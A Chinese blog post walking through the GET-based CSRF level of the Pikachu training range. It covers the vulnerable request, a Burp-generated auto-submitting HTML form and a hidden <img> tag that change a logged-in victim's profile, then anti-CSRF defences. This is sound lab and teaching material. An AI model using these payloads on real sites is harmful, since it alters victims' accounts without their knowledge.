Pikachu靶场通关笔记(15) — CSRF (GET型)

58次阅读
没有评论

1. 核心考点

  • CSRF (跨站请求伪造):攻击者诱导受害者访问恶意页面,利用受害者的身份(Cookie/Session)向服务器发送非预期的请求。
  • GET 请求特性:参数包含在 URL 中,利用成本极低(甚至不需要构造表单,一个 <img> 标签或链接即可触发)。
  • 身份凭证自动发送:理解浏览器在发送请求时,会自动带上目标域名的 Cookie,这是 CSRF 成立的根本原因。

2. 漏洞复现

2.1 场景模拟

  • 攻击者 (Attacker): Vince (目的是篡改他人的个人信息)。
  • 受害者 (Victim): Allen (当前处于登录状态)。

2.2 攻击步骤

分析请求结构
攻击者 Vince 登录自己的账号,修改个人信息并抓包,分析修改请求的 URL 结构。
抓获的数据包 (GET 请求)GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18655031323&add=nba+shark&email=vince%40pikachu.com&submit=submit HTTP/1.1 Host: localhost:8899 ...
发现:修改信息只需要访问一个带有特定参数的 URL,且没有任何随机 Token 验证。

Pikachu 靶场通关笔记(15) — CSRF (GET 型)

构造 Payload (恶意网页)
利用 Burp Suite 的 Engagement tools -> Generate CSRF PoC 生成攻击页面。

Pikachu 靶场通关笔记(15) — CSRF (GET 型)

为了达到“不知不觉”的效果,利用 JavaScript 实现页面加载后 自动提交 生成的恶意 HTML 代码核心:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8899/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="18655031323" />
      <input type="hidden" name="add" value="nba&#32;shark" />
      <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('','', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

实施攻击

攻击者将上述代码保存为 HTML 文件,放置在恶意服务器上(如 http://www.hzx123.xyz/csrf.html)。

Pikachu 靶场通关笔记(15) — CSRF (GET 型)

诱导受害者 Allen 在 保持登录 的情况下访问该链接。

验证结果
Allen 点击链接后,页面闪过(正常应该是自动跳转并提交,但我这里没有这样搞,是为了让攻击显示的更朴素点)。
刷新 Allen 的个人中心,发现手机号变为 18655031323,邮箱变为 vince@pikachu.com,攻击成功。

Pikachu 靶场通关笔记(15) — CSRF (GET 型)

3. 踩坑与思考 (Reflections)

  • 为什么一定要登录?
    CSRF 的核心是“借刀杀人”。修改信息需要权限,服务器只认 Cookie。如果 Allen 没登录(或者 Cookie 已失效),浏览器发送的请求里没有有效凭证,服务器就会拒绝修改。
  • GET 型的特殊性
    虽然我这里用了 Burp 生成的表单(POST 风格的 GET 提交),但实际上对于 GET 型 CSRF,这甚至有些“大材小用”。
    最简单的 Payload 甚至可以是一张图片:
<!-- 当受害者浏览包含此标签的论坛帖子时,无需点击,直接中招 -->
<img src="http://localhost:8899/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123..." width="0" height="0" />

4. 防御措施

  1. Anti-CSRF Token (最有效)
    在表单中加入一个随机的、不可预测的 Token。服务器在接收请求时验证该 Token。攻击者无法提前预知受害者的 Token,因此无法构造有效的请求 URL。
  2. 检查 Referer 字段
    服务器检查 HTTP 头部的 Referer 字段,确保请求是来自本站页面(如 pikachu.com/profile),而不是外部站点(如 evil.com/trap.html)。
  3. 使用 POST 请求
    虽然 POST 也能被 CSRF(下一关会讲),但至少不能通过 <img><a> 标签直接触发,增加了攻击成本。
  4. SameSite Cookie 属性
    设置 Cookie 的 SameSite 属性为 StrictLax,限制第三方 Cookie 的发送。
正文完
 0
评论(没有评论)